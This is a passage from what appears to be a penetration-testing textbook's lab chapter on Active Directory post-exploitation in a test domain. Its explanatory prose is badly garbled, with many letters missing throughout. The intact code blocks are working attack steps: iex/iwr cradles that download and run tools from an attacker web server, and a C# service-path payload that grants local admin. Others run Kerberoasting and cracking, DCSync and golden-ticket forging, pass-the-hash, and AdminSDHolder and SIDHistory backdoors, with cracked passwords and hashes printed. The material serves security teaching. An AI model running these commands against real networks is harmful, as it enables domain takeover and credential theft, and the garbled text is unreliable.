skill o hav, h PowViw modul i PowSploi has hlp cmdls ha ca mak
much of his asi. I addiio, h PowViw modul has addiioal cmdls o fid
vulabiliis fo you.
NOTE PowerSploit is no longer maintained, but it’s still used by many

testers. When aspects of the modules quit working, they likely won’t be
fixed, but not all of the functionality of the modules inside PowerSploit
have been fully integrated into a comparable module.
Lab 17-6: Using PowerView for AD Recon
Whil PowSploi has may moduls ha a usful fo pos-xploiaio, w a goig
o focus o h PowViw modul i h Rco subdicoy. Fom ou Kali box, l’s
sa up a wb sv i h PowSploi dicoy:
└─$ cd PowerSploit
┌──(kali kali)-[~/PowerSploit]
└─$ sudo python3 -m http.server 8080
Nx, o ou ag sv, l’s load h PowViw modul. W ca do his wih a
ix/iw sag:
PS C:\Users\target> iex ( iwr http://10.0.0.40:8080/Recon/PowerView.ps1 )
Nx, l’s y som of h fucioaliy w lookd a bfo. Fis, l’s g ou domai
ifomaio:
PS C:\Users\target> Get-Domain
Forest : ghh.local
DomainControllers : {EC2AMAZ-TBKC0DJ.ghh.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
RidRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
InfrastructureRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
Name : ghh.local
355
This is h sam ifomaio w saw bfo, bu i’s much simpl. I addiio, w ca
g h OU lis, as bfo:
PS C:\Users\target> Get-DomainOU | select DistinguishedName
distinguishedname
-----------------
OU=Domain Controllers,DC=ghh,DC=local
OU=Admin,DC=ghh,DC=local
OU=Tier 0,OU=Admin,DC=ghh,DC=local
To g h accss cool lis (ACL) o h Admi OU, w ca us h
Get-DomainObjectAcl cmdl:
PS C:\Users\target> Get-DomainObjectAcl "OU=Admin,DC=ghh,DC=local"
ObjectDN : OU=Admin,DC=ghh,DC=local
ObjectSID :
ActiveDirectoryRights : DeleteChild, DeleteTree, Delete
PART III
BinaryLength : 20
AceQualifier : AccessDenied
IsCallback : False
OpaqueLength : 0
AccessMask : 65602
SecurityIdentifier : S-1-1-0
AceType : AccessDenied
Ufoualy, h SID of h us is’ solvd, ad h pmissios a sill i GUID
fom, simila o h ADSI mhod fom ali. PowViw ca hlp us cov hs o
claify ach us’s accss. L’s us h ConvertFrom-SID cmdl ad h -ResolveGuids
opio o Get-DomainObjectAcl o cla his up:
PS C:\Users\target> Get-DomainObjectAcl "OU=Admin,DC=ghh,DC=local"
>> -ResolveGUIDs |where AceType -eq "AccessAllowed" |
>> %{ (ConvertFrom-SID $_.SecurityIdentifier) + ": " + $_.ActiveDirectoryRights }
GHH\Domain Admins: GenericAll
Enterprise Domain Controllers: GenericRead
Authenticated Users: GenericRead
Local System: GenericAll
GHH\Enterprise Admins: GenericAll
GHH\GI-jul-distlist: GenericAll
GHH\BDEWWEBS1000000$: GenericAll
GHH\18-lucas1983-distlist: GenericAll
This maks adig h daa much asi. I addiio, w ca us PowViw o look
fo h uss who hav DCSyc pivilgs by gig h ACL fo who has ih All
pivilgs o plicaio pivilgs o h DN of h domai:
PS C:\Users\target> Get-ObjectACL "DC=ghh,DC=local" -ResolveGUIDs
>> | ? {($_.ActiveDirectoryRights -match 'GenericAll')
>> -or ($_.ObjectAceType -match 'Replication-Get')}
>> | where AceType -eq "AccessAllowed"
>> | %{ ConvertFrom-SID $_.SecurityIdentifier }
GHH\Enterprise Admins
GHH\GI-jul-distlist
GHH\BDEWWEBS1000000$
GHH\18-lucas1983-distlist
GHH\NE-ailime678-distlist
GHH\IR-aguilucho-distlist
Local System
356
Now w kow which uss o ag o pfom a DCSyc aack. Ths a jus
a hadful of ims ha ca b sachd fo. W will look a mo i h upcomig
“Escalaio” scio of h chap.
W ca us his ifomaio o acically fid h ifomaio w wa i h domai
wihou issuig a hug umb of quis, bu o of h favoi ools fo folks o us is
BloodHoud. BloodHoud will gah os of AD ifomaio ad h l you sach
h daa i a gaph daabas viw calld No4j. Th dowsid of his is ha i issus
massiv amous of quis, ad mo mau ogaizaios look fo hs o idify
malicious i, so i’s o paiculaly OpSc saf.
Lab 17-7: Gathering AD Data with SharpHound
A salhi way o us AD daa is o us ShapHoud o quy daa fom AD oly.
ShapHoud is a C# collco fo BloodHoud. W’ goig o us h sam PowShll
sags fo hs biais ha w did i pvious labs. O ou Kali box, go back io h
PowShapBiais dicoy ad sa h wb sv:
└─$ cd SharpPack/PowerSharpBinaries
┌──(kali kali)-[~/SharpPack/PowerSharpBinaries]
└─$ sudo python3 -m http.server 8080
Now o h Tag sysm, l’s sag his wih a ix/iw sag.
PS C:\Users\target> iex (iwr http://10.0.0.40:8080/Invoke-Sharphound3.ps1)
ShapHoud has diff collcio mhods. Th DCOly o will oly quy h
DCs, limiig h quis o sysms ha a hos usually dos’ alk o:
PS C:\Users\target> Invoke-Sharphound3 -Command "--CollectionMethod=DCOnly"
-----------------------------------------------
Initializing DanceBattle at 2:32 AM on 8/9/2021
-----------------------------------------------
Resolved Collection Methods: Group, Trusts, ACL, ObjectProps, Container,
GPOLocalGroup, DCOnly
[+] Creating Schema map for domain GHH.LOCAL using path
CN=Schema,CN=Configuration,DC=GHH,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache
[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 171 MB RAM
Status: 3379 objects finished (+3379 844.75)/s -- Using 352 MB RAM
Enumeration finished in 00:00:04.7909988
Compressing data to .\20210809023238_BloodHound.zip
You can upload this file directly to the UI
DanceBattle EnumEration Completed at 2:32 AM on 8/9/2021! Happy GraPhIng!
Th ZIP fil ha is cad ca b uploadd io h BloodHoud GUI o sach daa.
357
TIP Neo4j can eat up a ton of memory for larger domains. While this can be
done in the cloud, using it locally will typically be faster, unless you are using
very large cloud instances. To use BloodHound to search for data, you can go
to the BloodHound documentation for installation and usage instructions at
https://bloodhound.readthedocs.io/en/latest/.
Escalation
Now ha w hav do som co of h viom, w d o look a scalaio,
boh o h local sysm ad i Aciv Dicoy. W foud ha w hav som pivilgs.
Idifyig ways w ca lva pivilgs will giv us addiioal abiliy o maipula
sysms ad AD pivilgs fo h bs chac a achig ou objcivs. Th fis ask is
o lva pivilgs o h local sysm.
PART III
Local Privilege Escalation
Fidig local pivilg scalaio xplois ca b difficul i wll-scud vioms.
Foualy, h a som ools o hlp us fid gaps. Big abl o pofil a sysm o
dmi if i is missig pachs o has cofiguaio waksss could ak sigifica
im wihou hlpful scips. W a goig o b lookig a wo ools, wiPEAS ad
ShapUp, ha ca hlp us pofil poial sysm issus.
Lab 17-8: Profiling Systems with winPEAS
Th wiPEAS (Pivilg Escalaio Awsom Scip) ool is a C# o bach fil ha will
pofil a Widows sysm ad amp o idify vulabiliis ha ca b abusd. W
a goig o us h PowShll wappd vsio fom h ShapPack po ha has b
clod o Kali. Wih h sam HTTP lis ha has b s up i pvious labs, w’ll
load h Ivok-wiPEAS.ps1 scip ad h ispc som of ou opios:
PS C:\Software> iex (iwr http://10.0.0.40:8080/Invoke-winPEAS.ps1 )
PS C:\Software> Invoke-winPEAS
<snipped>
[?] Windows vulns search powered by Watson(https://github.com/rasta-
mouse/Watson)
OS Build Number: 14393
[!] CVE-2019-0836 : VULNERABLE
[>] https://exploit-db.com/exploits/46718
[>] https://decoder.cloud/2019/04/29/combinig-luafv-
postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-
standard-user-to-system/

[>] https://github.com/rogue-kdc/CVE-2019-0841
[>] https://rastamouse.me/tags/cve-2019-0841/

[>] https://www.rythmstick.net/posts/cve-2019-1064/
<snipped>
358
W ca s a lo of ifomaio abou h sysm as wll as som xplois ha may
com i hady fo pivilg scalaio. Mos of hs qui pullig addiioal biais
oo h sysm, which may flag AV o EDR. Th scip did, howv, povid us wih
som of h addiioal ifomaio w had go fom Sabl, so his would b a
viabl alaiv fo gahig daa. WiPEAS did’ pick up o of h vulabl pahs
hough a svic, hough, ad ha’s o of h sghs of ShapUp, so l’s ak a look
a ha.
Lab 17-9: Using SharpUp to Escalate Privileges
Wih h sam lis sill i plac, l’s u Ivok-ShapUp.ps1 o s wha i ca fid
(o ha w us h sam ix/iw sag w hav b usig hus fa):
PS C:\users\target> iex (iwr http://10.0.0.40:8080/Invoke-SharpUp.ps1 )
PS C:\users\target> Invoke-SharpUp audit
=== SharpUp: Running Privilege Escalation Checks ===
=== Modifiable Services ===
=== Modifiable Service Binaries ===
Name : Vulnerable Software
DisplayName : Vulnerable Software
Description : Vulnerable Software Ltd
State : Running
StartMode : Auto
PathName : C:\Software\Vulnerable Software\Updater\vulnagent.exe
W s ha h svic “Vulabl Sofwa” has a modifiabl svic biay. L’s
ak a look a h biay wih icacls.x:
PS C:\users\target>icacls 'C:\Software\Vulnerable Software\Updater\vulnagent.exe'
C:\Software\Vulnerable Software\Updater\vulnagent.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
This shows ha w do’ hav ay pivilgs o his biay. So why did ShapUp high-
ligh i? I was highlighd bcaus of a uquod svic pah. Wh Widows looks
fo biais, i will sa off yig o sach fo h biay a ach spac bak. I his cas,
i will sach fo c:\Sofwa\Vulabl.x bfo i gs o vulag.x. L’s look a
h pivilgs i h C:\Sofwa dicoy:
PS C:\users\target> icacls C:\Software\
C:\Software\ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
W hav h abiliy o add fils ad dicois h, so w ca y o ca a vulabl
.x. L’s mak a C# applicaio o jus add ouslvs o h local Admiisaos goup.
359
W will ca a vulabl.cc fil i c:\pogamdaa ad h compil i. Fo h cos,
us his basic C# scip:
using System;
namespace Test{
class Program {
static void Main(string[] args){
System.Diagnostics.Process.Start("CMD.exe",
"/c net localgroup Administrators GHH\\target /add");
}}}
Oc w hav savd h fil as c:\PogamDaa\vulabl.cc, w ca compil i usig

a buil-i C# compil i h .NET famwok:
PS C:\programdata> C:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
.\vulnerable.cc /nologo
PS C:\programdata> copy .\vulnerable.exe C:\Software\
PART III
Now ha i is i plac, l’s y o sa ha svic:
PS C:\programdata> Get-Service "Vulnerable Software" |
>> Restart-Service -ErrorAction SilentlyContinue
WARNING: Waiting for service 'Vulnerable Software (Vulnerable Software)' to
stop...
PS C:\programdata> Get-LocalGroupMember Administrators
ObjectClass Name PrincipalSource

----------- ---- ---------------
Group GHH\Domain Admins ActiveDirectory
User GHH\target ActiveDirectory
User WS20\Administrator Local
W a ow a mmb of h local Admiisaos goup, bu usig h commad
whoami /groups will o show i. To g h pivilgs, w d o ih log ou ad
back i, o sa a w sssio hough runas o aoh mhod. Eih way, w d
o sablish a w shll wih Admiisao pivilgs, so l’s do ha ad xplo som
scalaio acics wih Aciv Dicoy.
Active Directory Privilege Escalation

AD pivilg scalaio coais som a ad som oolig. Pa of fidig pahs o
Domai Admi ca b do wih ools lik BloodHoud. Rgadlss of wha ools you
us o fid pahs, h will fquly b a sis of scalaios ha hav o happ. L’s
ak a look a som ways you ca fid cdials fo scalaio.
Lab 17-10: Searching for Passwords in User Objects
Somims svic accous will coai passwods i hi dscipio. This is so ha
accous ha may b usd fo quyig ifomaio o ohwis gal-pupos acivi-
is do’ hav o hav cally coodiad cdials. This is obviously o a bs
pacic, bu i dos o chag h fac ha i occus mo ha i should. To fid hs
360
isacs, w will load up h PowViw modul as w did i Lab 17-6 ad sach fo
uss wih cdials i hi accou dscipio:
PS C:\programdata> Get-DomainUser | select samaccountname,description |
>> where description -like "*password*"
samaccountname description
-------------- -----------
GINGER_MCDONALD Just so I dont forget my password is
isUBKj5NEzBjMmcwa2YXT#Nzx
LORENA_VINSON Just so I dont forget my password is T36F#iaM8c4RSUXvHmSKVVY
ANDRES_ELLIS Just so I dont forget my password is
EmB!E!59Ry3fcE%zbMbKq9nhs
BadBlood will ca adom accous as pa of h AD sup fo his lab, so you
cdials may look diff ad will hav diff goups. Rgadlss of h diff-
cs, his should giv you mulipl cdials fo uss o us as scalaio pahs. If
hs uss a’ valuabl, h a oh ways o gah cdials. L’s ak a look a
Kboasig ad AS-REPoasig.
Lab 17-11: Abusing Kerberos to Gather Credentials
Af saig a wb sv i h PowShapBiais dicoy, as w did i Lab 17-4,
w ca load h Rubus ool. Rubus ls us pfom Kbos co ad xploiaio. I’s
wi i C#, bu w’ll us h PowShll sagd vsio fo his xcis:
PS C:\programdata> iex( iwr http://10.0.0.40:8080/Invoke-Rubeus.ps1 )
Kboasig aks advaag of h way svics hadl Kbos icks i AD.
Ths svic icks a qusd fom h Tick Gaig Sv (TGS) ad coai
ifomaio abou h us fo h svic o dmi whh o o h us should
hav accss o h svic wihou v kowig h us’s passwod. This svic ick
is cypd wih h cdials of h svic ow—ih a compu accou o a
us accou. Each svic will b idifid by a Svic Picipal Nam (SPN) i Aciv
Dicoy ha h us ca look up o idify h svic, ad wh h us quss
his ick, i dos’ hav o alk o h ag svic.
Isad, if h us xpos hs icks, hy ca b bu-focd offli wih a pass-
wod-cackig ool by uig a sampl passwod io a NTLM hash ad h yig o
dcyp h ick. If h ick dcyps, w kow ha is h valid passwod fo h s-
vic. This pocss is kow as Kerberoasting. L’s us Rubus o Kboas h domai
ad sach fo valid SPNs associad wih us accous ha w migh b abl o abus:
PS C:\programdata> Invoke-Rubeus -Com "kerberoast /outfile:C:\Programdata\h.txt"
Th hashs will ow b i h h.x fil ad ca b copid ov o Kali fo cackig.
Oc h hashs a copid ov, you ca amp o cack hm wih Joh h Ripp
361
ad a wodlis o h Kali box. Bcaus hs machis a lighwigh, l’s y fis wih
a vy small wodlis:
└─$ john h.txt --ru=KoreLogic --wo=/usr/share/legion/wordlists/ssh-password.txt
Passw+ord127 (?)
I dos’ kow wha us his gos o, so l’s chck ou Joh POT fil:
└─$ cat ~/.john/john.pot
$krb5tgs$23$*passwordadmin$ghh.local$www/password*$b9506c9dacc392e1d718fc1beaf693d
7$a2557b95757f7b5d60e02eea4e4fa45364dcc44532bba3051edb17e39aec8a1d51e3edb86c5ad4aa
6ed051ae890f0af586eacb5c6e3700f3e0d523f9497e5035e591a898777af20bf4fc27927eebf72e15
076122259b4ba6dcd522ec1793f3ef0da83a42fbdecb0df8296e756e325cf124d7c1d27b9332dee14a
aee87a6abdd3ea3732573df27145d1f1f79c1f4e939285178bbb3b2134d8ad5deb3335058aa5d9c958
46fb2bb096e569fba1f4be92d0935a5ebdc266f18df4c80e9126cbc05e54bfcdd436e526e86ad1a905
f660dae3ae64fb16f8c81f7062634e47d64f82b07d59d8a35b6d0b723dbf933b192317fb49d1034ac3
596e542234dfd23523bd462f12cdee445aafcc678225d7d47507442b958fdfd18d063b2bfe7bb083fd
PART III
b15062997febf6d7153e42f97758362898d438259252294e5b8b6309c7a4b1bc827ee0776e119c3f09
67d39012fe24eab1515e518ffff15d1257f0c8c7529422926d5ea6813d4f939846e9b6a077cd96d9fa
7dd3d56b3dcc5fc2913750651e504ac$SOURCE_HASH$1e676cc9738c89665b365b9cf5794be2:Passw
+ord127
W s ha h passwodadmi us has a passwod of Passw+od127. W will chck
his ou agai i a miu, bu, fis, l’s y h sam hig wih AS-REPoasd uss.
AS-REP is h p-auhicaio goiaio wih a Tick Gaig Sv bfo a us
ca b gad a Tick Gaig Tick (TGT). By pfomig his p-auh, ifoma-
io will b ud o h us cypd wih h qusd us’s NTLM hash, so i
ca b cackd i a simila way:
PS C:\programdata> Invoke-Rubeus -Com "asreproast /outfile:C:\Programdata\asr.txt"
Th fil will b savd similaly o h Kboasig aack ad ca b copid ov o
h Kali box fo cackig. Now ha w hav a cdial fom h Kboasig, l’s do
som co ad fid ou mo abou h us ad wha i has accss o.
Lab 17-12: Abusing Kerberos to Escalate Privileges
To bgi wih, w wa o kow wha his passwodadmi us has fo goup mmb-
ships ad wha hos goups do. W ca us PowViw fo his:
PS C:\programdata> Get-DomainUser PasswordAdmin | select memberof
memberof
--------
CN=CloudSync Users,OU=Administrative Groups,DC=ghh,DC=local
Th CloudSyc uss goup is i a Admiisaiv OU, so his looks lik i migh
b pomisig. L’s s if w ca fid ay isig ACLs i AD wh ih ou pass-
wodadmi us o h CloudSyc Uss goup has accss. Sp 1 is o us h PowViw
Find-InterestingDomainAcl cmdl, which will sach fo isig pmissios o
362
AD objcs. W wa o sav his o a vaiabl so ha w do’ hav o u i ov ad
ov bcaus i is faily im-isiv, ad h bigg h domai, h bigg h suls
will b. W also spcify h ResolveGUIDs opio so ha w ca asily ad h pmis-
sios oc h sachig is compl:
PS C:\programdata> $acls = Find-InterestingDomainAcl -ResolveGUIDs
TIP This may take a significant amount of time. This tool is looking across
all of the ACLs in the domain and resolving information for each of the
entries found.
Nx, w wa o look fo higs ha hav ou us ad goup as pa of h
IdentityReferenceName. W ca us PowShll o fil his fo us:
PS C:\programdata> $acls | %{
>> if($_.IdentityReferenceName -eq "PasswordAdmins" -or
>> $_.IdentityReferenceName -eq "CloudSync Users"){$_}}
ObjectDN : DC=ghh,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-All
AceFlags : None
AceType : AccessAllowedObject
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-3262898812-2511208411-1049563518-4207
IdentityReferenceName : CloudSync Users
IdentityReferenceDomain : ghh.local
IdentityReferenceDN : CN=CloudSync Users,OU=Administrative
Groups,DC=ghh,DC=local
IdentityReferenceClass : group
I looks lik h CloudSyc Uss goup has h abiliy o DCSyc wih h domai.
W could log i as ha us ad pfom hos asks, o w could us Rubus o add a
TGT fo us ha will allow us o pfom a DCSyc aack wihou -auhicaig.
Nx, w op up a cmd.x widow as Admiisao usig ou w pivilgs ad
 io a PowShll pomp. W d o impo ou Rubus modul agai ad h
qus a TGT. W d his lvad accss bcaus you ca’ omally ijc cdials
io a sssio wihou i.
PS C:\Windows\System32> Invoke-Rubeus -Com "asktgt /ptt /user:PasswordAdmin
/password:Passw+ord127"
<snip>
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 30095439B35315DFB0D8662F84C2EE01

[*] Using domain controller: EC2AMAZ-TBKC0DJ.ghh.local (10.0.0.10)
[*] Building AS-REQ (w/ preauth) for: 'ghh.local\PasswordAdmin'
[+] TGT request successful!
W ow hav a TGT. Wih his lvl of cdials, w ca amp a DCSyc wih
ou PasswodAdmi cdials. To do his, w will us BSafyKaz o pfom a
363
DCSyc aack fo h kbg us. This will l us us a gold ick aack o gai accss
o ay accou i h domai. Fis, l’s us a ix/iw sag o load BSafyKaz:
PS C:\Windows\System32>iex(iwr http://10.0.0.40:8080/Invoke-BetterSafetyKatz.ps1)
PS C:\Windows\System32> Invoke-BetterSafetyKatz
[+] Stolen from @harmj0y, @TheRealWover, @cobbr_io and @gentilkiwi, repurposed by
@Flangvik and @Mrtn9
[+] Contacting repo -> 2.2.0-20210810/mimikatz_trunk.zip
[+] Randomizing strings in memory
[+] Suicide burn before CreateThread!
<snipped>
7DBO9NAV #
Wih Mimikaz loadd io mmoy, ow w ca pfom a agd DCsyc of h
kbg us. W d o spcify h lsadump::dcsyc modul ad h ag us fo opios:
7DBO9NAV # lsadump::dcsync /user:krbtgt
PART III
[DC] 'ghh.local' will be the domain
[DC] 'EC2AMAZ-TBKC0DJ.ghh.local' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] 4W7Z6OP : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 8/1/2021 9:10:47 PM
Object Security ID : ➊S-1-5-21-3262898812-2511208411-1049563518-502
Object Relative ID : 502
<snipped>
Credentials
aes256_hmac (4096) :
➋1775bb5e8c24acc2d4b2bb595252d6ae35e686f6df2803383148439a4e5bc4ae
aes128_hmac (4096) : 976faae18b4227e22ab074e876f6f3a2
des_cbc_md5 (4096) : 75bc49f7070dcb5b
W d wo pics of ifomaio h: h Domai SID ➊, which is all h SID up
o h 502, ad h as256_hmac ➋ hash. W wa his ifomaio bcaus ay icks
w ca wih wak cypio may giv away ha hy a fogd. Nx, w wa o
ca a TGT fo Admiisao usig a gold ick aack. This aack uss h kbg’s
cypio kys o fog a TGT fo a diff us ha ca h b usd o auhica
o sysms i h domai. W plac all of his io o commad a h pomp:
7DBO9NAV # kerberos::golden /domain:ghh.local /sid:S-1-5-21-3262898812-2511208411-
1049563518
/aes256:1775bb5e8c24acc2d4b2bb595252d6ae35e686f6df2803383148439a4e5bc4ae
/user:Administrator /id:500 /ptt
TIP If this isn’t working for you, make sure you are updating your SID and
other relevant information to match your specific instance. Additional
changes will be needed in future steps for items such as SID, domain
controller hostname, and so on, so make sure you have updated each
variable appropriately.
364
This will show us ha a w TGT has b gad ad ijcd io ou sssio:
User : Administrator
Domain : ghh.local (GHH)
SID : S-1-5-21-3262898812-2511208411-1049563518
User Id : 500
Groups Id : *513 512 520 518 519
4W7Z6OPKey: 1775bb5e8c24acc2d4b2bb595252d6ae35e686f6df2803383148439a4e5bc4ae -
aes256_hmac
Lifetime : 8/10/2021 2:52:35 AM ; 8/8/2031 2:52:35 AM ; 8/8/2031 2:52:35 AM
-> Ticket : ** Pass The Ticket **
<snipped>
Golden ticket for 'Administrator @ ghh.local' successfully submitted for current
session
W s ha h ick was succssfully cad, ad ow w ca xi Mimikaz. W ow
hav a valid Admiisao ok ad ca us ha o gai accss o h DC. W saw a h
op of h Kbos aacks ha i solvd h DC am o EC2AMAZ-TBKC0DJ.ghh
.local. W ca us PowShll o gai accss moly:
PS C:\Windows\System32> Enter-PSSession EC2AMAZ-TBKC0DJ.ghh.local
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users\Administrator\Documents> whoami
ghh\administrator
W hav ow scalad o a Domai Admi us ad hav full cool ov h
ghh.local fos.
Active Directory Persistence

Now ha w hav Domai Admi accss, w wa o mak su w ca kp i. To do
his, w hav a fw opios. Fo xampl, w ca ca w uss ha w cool ad
h add hm o usd goups lik Domai Admis. I mo mau ogaizaios,
hough, ciical goup mmbship is cafully moiod, ad w migh ip off dfd-
s, causig hm o mov ou accss. W do hav addiioal opios, hough. W will
look a wo mhods of achivig psisc: poisoig h AdmiSDHold objc ad
ijcig SID hisoy.
Lab 17-13: Abusing AdminSDHolder
A DbyCo5, Sa Mcalf gav a alk ild “Rd vs. Blu: Mod Aciv Dicoy
Aacks & Dfs” i which h discussd a spcial objc i Aciv Dicoy,
AdmiSDHold. This coai is spcial bcaus vy hou, h pmissios ha a
o i a popagad hough o all of h ims wih admicou=1 i AD. This popa-
gaio is calld SDPop, ad wh modificaios a mad o h coai, wihi a
hou h chags will xis o all of h admi objcs. Covsly, if you chag a
admi objc, h SDPop pocss will plac you chags wihi a hou.
I Lab 17-12, w pfomd a DCSyc ad h ijcd a Kbos ick io ou
sssio. Fo his aack, w d o hav NTLM hashs i ou sssio. To do his, w’ll
365
load BSafyKaz agai, DCSyc h Admiisao accou, ad h spaw a w
cmd.x usig h NTLM hashs fo ou sssio o ou ag machi:
PS C:\Windows\System32>iex(iwr http://10.0.0.40:8080/Invoke-BetterSafetyKatz.ps1)
PS C:\Windows\System32> Invoke-BetterSafetyKatz
[+] Stolen from @harmj0y, @TheRealWover, @cobbr_io and @gentilkiwi, repurposed by
@Flangvik and @Mrtn9
<snipped>
DA2PW7R6 # lsadump::dcsync /user:Administrator
<snipped>
Credentials:
Hash NTLM: 19d56dfa8872c603984c44ff96a89a6c
<sniped>
DA2PW7R6 # privilege::debug
Privilege '20' OK
DA2PW7R6 # sekurlsa::pth /user:Administrator /domain:ghh.local
/ntlm:19d56dfa8872c603984c44ff96a89a6c
PART III
user : Administrator
domain : ghh.local
program : cmd.exe
impers. : no
NTLM : 19d56dfa8872c603984c44ff96a89a6c
| PID 2792
| TID 4848
| LSA Process is now R/W
| LUID 0 ; 249605489 (00000000:0ee0ad71)
\_ msv1_0 - data copy @ 000002ADF56181F0 : OK !
\_ kerberos – KO
A w widow should hav poppd up wih a commad pomp. Now w d o
load up PowViw so ha w ca asily look a wha h cu AdmiSDHold
objc’s pivilgs a ad h wok o addig i ou backdoo:
C:\Windows\system32>powershell
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> iex(iwr http://10.0.0.40:9999/PowerView.ps1)
PS C:\> Get-ObjectAcl -SearchBase "CN=AdminSDHolder,CN=System,DC=ghh,DC=local" `
>> -ResolveGUIDs |
>> Where ActiveDirectoryRights -like "GenericAll" |
>> %{ ConvertFrom-SID $_.SecurityIdentifier }
Local System
Righ ow, oly h Local Sysm BUILTIN accou has full pivilgs o h Admi-
SDHold objc. L’s add i h ag us so ha w ca g back i. To do his,
w’ll us h Add-ObjectAcl cmdl i PowViw. W will ag h AdminSDHolder
objc ad h add h GicAll igh usig h Rights opio:
PS C:\> $sb = 'CN=AdminSDHolder,CN=System,DC=ghh,DC=local'
PS C:\> Add-ObjectAcl -TargetSearchBase $sb -PrincipalIdentity target -Rights All
Now, wh w chck h ighs, w should s h GHH\ag us i h accss lis
wih GicAll ighs:
PS C:\> Get-ObjectAcl -SearchBase $sb -ResolveGUIDs |
GHH\target
Local System
366
Succss! Th ighs popaga o h oh goups vy hou, so w d o wai a bi,
ad h w should b abl o chck h Domai Admis goup ad s ha h ag
has full accss o h goup:
PS C:\> Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs |
Local System
PS C:\> Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs |
GHH\target
Local System
W s ha wih h fis amp, oly Local Sysm had full accss, bu h wh
w wai a fw mius, w s ha h ag us is lisd as wll. As ou ag us, w
ca ow add mmbs o h goup a will.
NOTE This could take up to an hour. If you want to make it run faster,
in a session on the DC, run the contents of the Run-SDProp.ps1 file from
the repository.
Lab 17-14: Abusing SIDHistory
SIDHisoy is a fau ha assiss i Aciv Dicoy migaio. Wh you’ com-
biig Domais o Foss, whil migaio is happig, i ca b hady o kow
who a us usd o b i od o psv accss o pvious soucs duig h
migaio. Th SIDHisoy fild sos h SID of pvious accous o goups ha a
us blogd o so ha hy ca coiu o hav accss as hi pvious us i hos
oh vioms.
Ufoualy, addig pvious SIDs o a us is’ a asy ask. This is somhig
ha is ypically do whil h AD Daabas is i migaio mod. Bcaus of his,
PowViw is’ goig o hlp us. Isad, w’ goig o hav o us ou pivilgs o
accss h DC dicly, ad h w ca us h DSIals PowShll modul o
add ou SID. Th modul quis us o sop h NTDS svic so i ca mak h
AD uavailabl uil w g h svic sad. L’s sa a h d of Lab 17-12
af xcuig Enter-PSSession o log io h DC. Now w ca g h SID of h
Domai Admis goup:
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users> Get-ADGroup "Domain Admins"
DistinguishedName : CN=Domain Admins,CN=Users,DC=ghh,DC=local
GroupCategory : Security
GroupScope : Global
Name : Domain Admins
ObjectClass : group
ObjectGUID : 96710f0a-80e3-4eb8-be8b-2d7ced257382
SamAccountName : Domain Admins
SID : S-1-5-21-3262898812-2511208411-1049563518-512
367
Nx, w isall h dsials modul, as show x. This will allow us o us h
modul oc i’s isalld o h sysm. If ay pomps show up o add dpdcis,
jus asw ys.
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users> install-module dsinternals -force
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users> import-module dsinternals
Wih h modul impod, ow w d o sop h NTDS svic ad h us
h ADD-ADDBSidHistory cmdl o add h SID of h Domai Admis goup o
h ag us. W also hav o spcify h locaio of h NTDS.di daabas fil. Th
NTDS svic mus b offli fo us o accss h fil; ohwis, i will b lockd.
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\ > Stop-Service ntds -force
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\ > Add-ADDBSidHistory -SamAccountName target `
>> -SidHistory S-1-5-21-3262898812-2511208411-1049563518-512 `
>> -DatabasePath C:\windows\NTDS\ntds.dit
PART III
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\ > start-service ntds
W hav o wai a fw scods fo h svic o sa; h w ca chck h ag
us ad dmi if h sigs ook:
[EC2AMAZ-TBKC0DJ.ghh.local]: PS C:\Users> Get-ADuser target -properties sidhistory
DistinguishedName : CN=target,CN=Users,DC=ghh,DC=local
Enabled : True
GivenName :
Name : target
ObjectClass : user
ObjectGUID : b37925a0-d154-4070-bd3e-3bdd3b79e9bc
SamAccountName : target
SID : S-1-5-21-3262898812-2511208411-1049563518-1111
SIDHistory : {S-1-5-21-3262898812-2511208411-1049563518-512}
Surname :
UserPrincipalName :
W s ha h SIDHisoy is ps ow. To apply h pivilgs, l’s us h runas
commad o sa a w commad widow o chck ou pivilgs:
PS C:\Windows\system32> runas /user:GHH\target cmd.exe
Enter the password for GHH\target:
Attempting to start cmd.exe as user "GHH\target" ...
Fially, i h w widow, w ca us h whoami commad o vify w hav h
dsid accss:
C:\Windows\system32>whoami /groups | find /i "Domain Admins"
GHH\Domain Admins Group S-1-5-21-3262898812-
2511208411-1049563518-512 Group used for deny only
W hav succssfully giv ouslvs Domai Admis pivilgs wihou big i h
goup. W ow hav mulipl ways o say i h domai—ih by usig ou pivilgs
gad by SIDHisoy o via h accss gad by ou AdmiSDHold modificaios
ha hav popagad o h pivilgd goups.
368
Summary
Pos-xploiaio is a ciical aspc of hackig. W aly g io h sysm ha w w
